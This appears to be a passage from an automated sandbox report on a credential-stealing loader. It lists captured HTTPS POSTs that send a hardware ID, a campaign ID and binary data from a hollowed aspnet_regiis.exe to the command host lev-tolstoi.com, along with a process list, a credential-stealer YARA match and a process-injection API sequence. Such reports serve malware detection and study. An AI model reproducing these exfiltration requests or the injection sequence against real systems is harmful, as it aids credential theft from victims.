aDZBnqCmMrLB5QZIHWEvLRl+04HGiMk8Iw3jwRwoPzVsInU6pCIDk+GTYK9INAoJDXqCgdX/qkvFaZcV/exL0HxWoBtwR7Fn0WSAudzV/h3oeKJFx/y5OTJat8VtHVuwGKa2+OZWNhfVhIbIHDB6WXh+d3ACqZ1tU43m0fyYO9Vt12D/hWY3d9GQsmwYtEt4WAgRl1f8uElHiBfnDT0qEouzFCtkokOSweRnTczR+Yxo//GBwx1MXaKLlxX97Ev
2024-12-28 21:05:10 UTC	1369	IN	Data Raw: 52 76 33 6f 64 41 69 39 5a 47 44 65 52 6f 55 43 73 69 76 6d 42 45 45 4e 32 33 4d 65 6b 61 35 70 78 45 5a 36 44 73 31 62 64 5a 47 79 71 51 7a 4d 73 66 33 49 50 4f 64 2f 4e 57 4f 2b 66 68 36 6c 6e 43 69 4b 43 78 5a 41 6f 31 44 49 57 30 39 47 35 45 49 59 79 51 76 39 36 48 51 49 76 57 52 67 33 6b 62 78 4b 70 5a 44 53 76 44 64 56 54 2f 4b 6f 6b 47 2b 63 63 52 50 31 2b 65 6b 6e 6b 79 64 42 74 6b 4e 6a 59 58 31 47 53 47 79 54 6f 46 57 6d 6c 73 54 39 41 6d 67 7a 2f 5a 4f 42 61 49 4a 31 45 5a 36 44 70 31 62 64 5a 45 79 71 51 7a 4d 73 63 56 6b 53 4d 35 4f 53 43 62 6a 47 30 66 39 2f 41 54 2b 4d 6c 38 49 77 7a 44 56 66 33 63 4b 6f 47 49 59 32 55 37 35 48 4e 53 78 36 59 44 59 62 32 49 78 58 72 4a 66 4b 75 7a 46 73 54 2b 75 44 68 32 2b 79 54 47 62 42 78 4c 74 55 6f 79 Data Ascii: Rv3odAi9ZGDeRoUCsivmBEEN23Meka5pxEZ6Ds1bdZGyqQzMsf3IPOd/NWO+fh6lnCiKCxZAo1DIW09G5EIYyQv96HQIvWRg3kbxKpZDSvDdVT/KokG+ccRP1+eknkydBtkNjYX1GSGyToFWmlsT9Amgz/ZOBaIJ1EZ6Dp1bdZEyqQzMscVkSM5OSCbjG0f9/AT+Ml8IwzDVf3cKoGIY2U75HNSx6YDYb2IxXrJfKuzFsT+uDh2+yTGbBxLtUoy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	172.67.157.254	443	5772	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 21:05:12 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=M7Y72E3D69IRA User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12812 Host: lev-tolstoi.com
2024-12-28 21:05:12 UTC	12812	OUT	Data Raw: 2d 2d 4d 37 59 37 32 45 33 44 36 39 49 52 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 41 35 44 39 31 38 45 43 30 35 43 44 46 45 36 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 4d 37 59 37 32 45 33 44 36 39 49 52 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4d 37 59 37 32 45 33 44 36 39 49 52 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 70 4f 6f 49 68 2d 2d 35 64 65 66 61 30 36 66 63 36 61 62 0d 0a 2d 2d 4d 37 59 37 Data Ascii: --M7Y72E3D69IRAContent-Disposition: form-data; name="hwid"6A5D918EC05CDFE6BEBA0C6A975F1733--M7Y72E3D69IRAContent-Disposition: form-data; name="pid"2--M7Y72E3D69IRAContent-Disposition: form-data; name="lid"HpOoIh--5defa06fc6ab--M7Y7
2024-12-28 21:05:13 UTC	1122	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 21:05:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=671ec616gml386q3li3km57gdt; expires=Wed, 23 Apr 2025 14:51:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Sjr6tS2RT7zUUyLtKHVuFexWuKLT0D1IZtBZMYsBIOhSproEVJOENA1nqWL72ptVlEVCeSilKZsRlilh3QukbLSPsjNd8q3OMXnUiMGqxVtumEOeEKNEk4H69ddMqWXalvA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f9481d3f8854271-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1687&min_rtt=1683&rtt_var=639&sent=10&recv=17&lost=0&retrans=0&sent_bytes=2835&recv_bytes=13746&delivery_rate=1701631&cwnd=252&unsent_bytes=0&cid=9ae67fc8ac579b80&ts=1049&x=0"
2024-12-28 21:05:13 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-28 21:05:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	172.67.157.254	443	5772	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 21:05:14 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=J3FFDY4G User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15024 Host: lev-tolstoi.com
2024-12-28 21:05:14 UTC	15024	OUT	Data Raw: 2d 2d 4a 33 46 46 44 59 34 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 41 35 44 39 31 38 45 43 30 35 43 44 46 45 36 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 4a 33 46 46 44 59 34 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4a 33 46 46 44 59 34 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 70 4f 6f 49 68 2d 2d 35 64 65 66 61 30 36 66 63 36 61 62 0d 0a 2d 2d 4a 33 46 46 44 59 34 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 Data Ascii: --J3FFDY4GContent-Disposition: form-data; name="hwid"6A5D918EC05CDFE6BEBA0C6A975F1733--J3FFDY4GContent-Disposition: form-data; name="pid"2--J3FFDY4GContent-Disposition: form-data; name="lid"HpOoIh--5defa06fc6ab--J3FFDY4GContent-D
2024-12-28 21:05:15 UTC	1129	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 21:05:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=96qsjkrclavdv2bp19r20qljck; expires=Wed, 23 Apr 2025 14:51:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LWU6JwHgyD25t%2B5%2BXBgrAXuQ5sOz%2FXOQmxxM2l4Dvh2Cz11llsdTbgOfN0PUVXZtrbOJ0HH6Kpq1Ml2z5Zzg3nUHD9eIX8tYh9LnjskBHar9LvdGodNXnxoOHAa%2FccqoGFM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f9481e2e9957cf6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2032&min_rtt=2029&rtt_var=768&sent=10&recv=19&lost=0&retrans=0&sent_bytes=2835&recv_bytes=15953&delivery_rate=1418164&cwnd=193&unsent_bytes=0&cid=352385b2103bf621&ts=869&x=0"
2024-12-28 21:05:15 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-28 21:05:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49709	172.67.157.254	443	5772	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 21:05:16 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3A6GNRTMT0ED2APJYU3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20580 Host: lev-tolstoi.com
2024-12-28 21:05:16 UTC	15331	OUT	Data Raw: 2d 2d 33 41 36 47 4e 52 54 4d 54 30 45 44 32 41 50 4a 59 55 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 41 35 44 39 31 38 45 43 30 35 43 44 46 45 36 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 33 41 36 47 4e 52 54 4d 54 30 45 44 32 41 50 4a 59 55 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 33 41 36 47 4e 52 54 4d 54 30 45 44 32 41 50 4a 59 55 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 70 4f 6f 49 68 2d 2d 35 64 Data Ascii: --3A6GNRTMT0ED2APJYU3Content-Disposition: form-data; name="hwid"6A5D918EC05CDFE6BEBA0C6A975F1733--3A6GNRTMT0ED2APJYU3Content-Disposition: form-data; name="pid"3--3A6GNRTMT0ED2APJYU3Content-Disposition: form-data; name="lid"HpOoIh--5d
2024-12-28 21:05:16 UTC	5249	OUT	Data Raw: f5 b1 05 a9 66 42 b5 5a 3e 93 af 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: fBZ>56vMMZh'F3Wun 4F([:7s~X`nO
2024-12-28 21:05:17 UTC	1133	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 21:05:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3nteptkoi1rod1id7e9n8hmtdm; expires=Wed, 23 Apr 2025 14:51:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2R6AM7SbSF1Hb7VcL2JRb7BOiqb9BN2J%2FYUasUvO7gHRalGcxHc4S9AainamSgVudMt35J3jShsm%2FW1bRuFAs%2BpX%2FwLMU0sCZhIuBNuX94Fixz5%2FbefrsSFtWD4au%2B5sxN4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f9481f17a98c342-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1648&min_rtt=1640&rtt_var=631&sent=16&recv=25&lost=0&retrans=0&sent_bytes=2835&recv_bytes=21542&delivery_rate=1712609&cwnd=160&unsent_bytes=0&cid=e5e28032e505148d&ts=953&x=0"
2024-12-28 21:05:17 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-28 21:05:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49710	172.67.157.254	443	5772	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 21:05:19 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0GFWAZ436VZL5S3QE3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1278 Host: lev-tolstoi.com
2024-12-28 21:05:19 UTC	1278	OUT	Data Raw: 2d 2d 30 47 46 57 41 5a 34 33 36 56 5a 4c 35 53 33 51 45 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 41 35 44 39 31 38 45 43 30 35 43 44 46 45 36 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 30 47 46 57 41 5a 34 33 36 56 5a 4c 35 53 33 51 45 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 30 47 46 57 41 5a 34 33 36 56 5a 4c 35 53 33 51 45 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 70 4f 6f 49 68 2d 2d 35 64 65 66 61 Data Ascii: --0GFWAZ436VZL5S3QE3Content-Disposition: form-data; name="hwid"6A5D918EC05CDFE6BEBA0C6A975F1733--0GFWAZ436VZL5S3QE3Content-Disposition: form-data; name="pid"1--0GFWAZ436VZL5S3QE3Content-Disposition: form-data; name="lid"HpOoIh--5defa
2024-12-28 21:05:20 UTC	1130	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 21:05:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5ene8vh1n0ppvgh1fqd44al863; expires=Wed, 23 Apr 2025 14:51:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p8tT%2BHm%2Fd%2BW56eaw%2BdcCdkdbmvfttfdKov8f0uPcXAgk65gtVSZZkRa0BcoSnQZf9mym%2Br1gCypqzom%2BhbfVJYeoLGs04S7hrpaPtFn37jsKcpjPB2ycgmeQIwTHPIoeU0o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f948201993a1a03-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1926&min_rtt=1921&rtt_var=731&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=2194&delivery_rate=1487519&cwnd=142&unsent_bytes=0&cid=f762422e01b4f7e6&ts=788&x=0"
2024-12-28 21:05:20 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-28 21:05:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49713	172.67.157.254	443	5772	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 21:05:21 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=LNSWTUQTFNJU1FQS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1121 Host: lev-tolstoi.com
2024-12-28 21:05:21 UTC	1121	OUT	Data Raw: 2d 2d 4c 4e 53 57 54 55 51 54 46 4e 4a 55 31 46 51 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 41 35 44 39 31 38 45 43 30 35 43 44 46 45 36 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 4c 4e 53 57 54 55 51 54 46 4e 4a 55 31 46 51 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4c 4e 53 57 54 55 51 54 46 4e 4a 55 31 46 51 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 70 4f 6f 49 68 2d 2d 35 64 65 66 61 30 36 66 63 36 61 Data Ascii: --LNSWTUQTFNJU1FQSContent-Disposition: form-data; name="hwid"6A5D918EC05CDFE6BEBA0C6A975F1733--LNSWTUQTFNJU1FQSContent-Disposition: form-data; name="pid"1--LNSWTUQTFNJU1FQSContent-Disposition: form-data; name="lid"HpOoIh--5defa06fc6a
2024-12-28 21:05:22 UTC	1120	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 21:05:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0diua00no84i94u4e5lmv8g9f1; expires=Wed, 23 Apr 2025 14:52:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KnTfXZpsrE2ZjJRBLhg8gobmfLRd948miEQsbizSQ9P4I9BkkKnYyW1bSYx9h0USUdIfEE3QQPhO1GYFQ6pHddgacBcCuGP1JypTf2bcR6r6Q9%2FpGME5pqlCmS5d1Onp09o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f94820f1f188c4b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1963&min_rtt=1956&rtt_var=748&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=2035&delivery_rate=1447694&cwnd=232&unsent_bytes=0&cid=bb26e2db9e7b93f2&ts=820&x=0"
2024-12-28 21:05:22 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-28 21:05:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49716	172.67.157.254	443	5772	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 21:05:23 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 121 Host: lev-tolstoi.com
2024-12-28 21:05:23 UTC	121	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 70 4f 6f 49 68 2d 2d 35 64 65 66 61 30 36 66 63 36 61 62 26 6a 3d 62 39 61 62 63 37 36 63 65 35 33 62 36 66 63 33 61 30 33 35 36 36 66 38 66 37 36 34 66 35 65 61 26 68 77 69 64 3d 36 41 35 44 39 31 38 45 43 30 35 43 44 46 45 36 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 Data Ascii: act=get_message&ver=4.0&lid=HpOoIh--5defa06fc6ab&j=b9abc76ce53b6fc3a03566f8f764f5ea&hwid=6A5D918EC05CDFE6BEBA0C6A975F1733
2024-12-28 21:05:24 UTC	1136	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 21:05:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6frn4p4kmdqtm7qrbmjuhe1h36; expires=Wed, 23 Apr 2025 14:52:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2TrhHM0%2B9rEf9donsocwF8w%2FC7mEsPIu9tItMKft8pKr%2Fdb%2F15ByAj%2FE1hogdZsj8VlxIpuQ5xAUEIC0EmpwFB08y%2B7M1uT%2FhZg0oNpEMudhZRUvhUAUnGfSHZr6v%2FMC%2Byo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f94821cfa0a0cb8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1620&min_rtt=1614&rtt_var=618&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2834&recv_bytes=1021&delivery_rate=1751649&cwnd=179&unsent_bytes=0&cid=d7d46a154e13e430&ts=923&x=0"
2024-12-28 21:05:24 UTC	54	IN	Data Raw: 33 30 0d 0a 6f 6b 4a 36 38 35 71 45 54 50 56 67 52 46 6d 71 35 76 33 48 49 39 49 64 6c 51 32 4f 39 65 51 64 6e 4d 2f 41 34 71 55 6b 39 65 50 35 48 77 3d 3d 0d 0a Data Ascii: 30okJ685qETPVgRFmq5v3HI9IdlQ2O9eQdnM/A4qUk9eP5Hw==
2024-12-28 21:05:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	16:05:00
Start date:	28/12/2024
Path:	C:\Users\user\Desktop\Loader.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Loader.exe"
Imagebase:	0xb40000
File size:	662'016 bytes
MD5 hash:	2EC18B257662DD107AE84263ECD2E5C1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	16:05:00
Start date:	28/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:05:01
Start date:	28/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"
Imagebase:	0x6d0000
File size:	43'016 bytes
MD5 hash:	5D1D74198D75640E889F0A577BBF31FC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2176809705.0000000003577000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	13.3%
Total number of Nodes:	1166
Total number of Limit Nodes:	7

Executed Functions

Function 6CE28C20 Relevance: 110.6, APIs: 36, Strings: 24, Instructions: 5633nativethreadmemoryCOMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNELBASE(?,?,?,?,?,?,?,?), ref: 6CE2A21E
ShowWindow.USER32 ref: 6CE2A234
VirtualAlloc.KERNELBASE ref: 6CE2A8E0
CreateProcessW.KERNELBASE ref: 6CE2ACCA
NtGetContextThread.NTDLL ref: 6CE2AE0C
NtAllocateVirtualMemory.NTDLL ref: 6CE2AEF4
NtAllocateVirtualMemory.NTDLL ref: 6CE2B01F
NtWriteVirtualMemory.NTDLL ref: 6CE2B207
NtWriteVirtualMemory.NTDLL ref: 6CE2B6FD
NtWriteVirtualMemory.NTDLL ref: 6CE2BC53
NtWriteVirtualMemory.NTDLL ref: 6CE2CABD
NtWriteVirtualMemory.NTDLL ref: 6CE2CEDA
NtCreateThreadEx.NTDLL ref: 6CE2D1CA
NtSetContextThread.NTDLL ref: 6CE2D2C4
NtResumeThread.NTDLL ref: 6CE2D2DC
CloseHandle.KERNEL32 ref: 6CE2D469
CloseHandle.KERNEL32 ref: 6CE2D478
GetConsoleWindow.KERNEL32 ref: 6CE2D616
ShowWindow.USER32 ref: 6CE2D62C
NtWriteVirtualMemory.NTDLL ref: 6CE2DA0C
NtWriteVirtualMemory.NTDLL ref: 6CE2DB05
NtReadVirtualMemory.NTDLL ref: 6CE2DC61
NtWriteVirtualMemory.NTDLL ref: 6CE2DE44
NtAllocateVirtualMemory.NTDLL ref: 6CE2DF54
NtAllocateVirtualMemory.NTDLL ref: 6CE2DFA2
NtWriteVirtualMemory.NTDLL ref: 6CE2E075
NtSetContextThread.NTDLL ref: 6CE2E19D
NtResumeThread.NTDLL ref: 6CE2E1B5
CloseHandle.KERNEL32 ref: 6CE2E1E1
CloseHandle.KERNEL32 ref: 6CE2E1F0
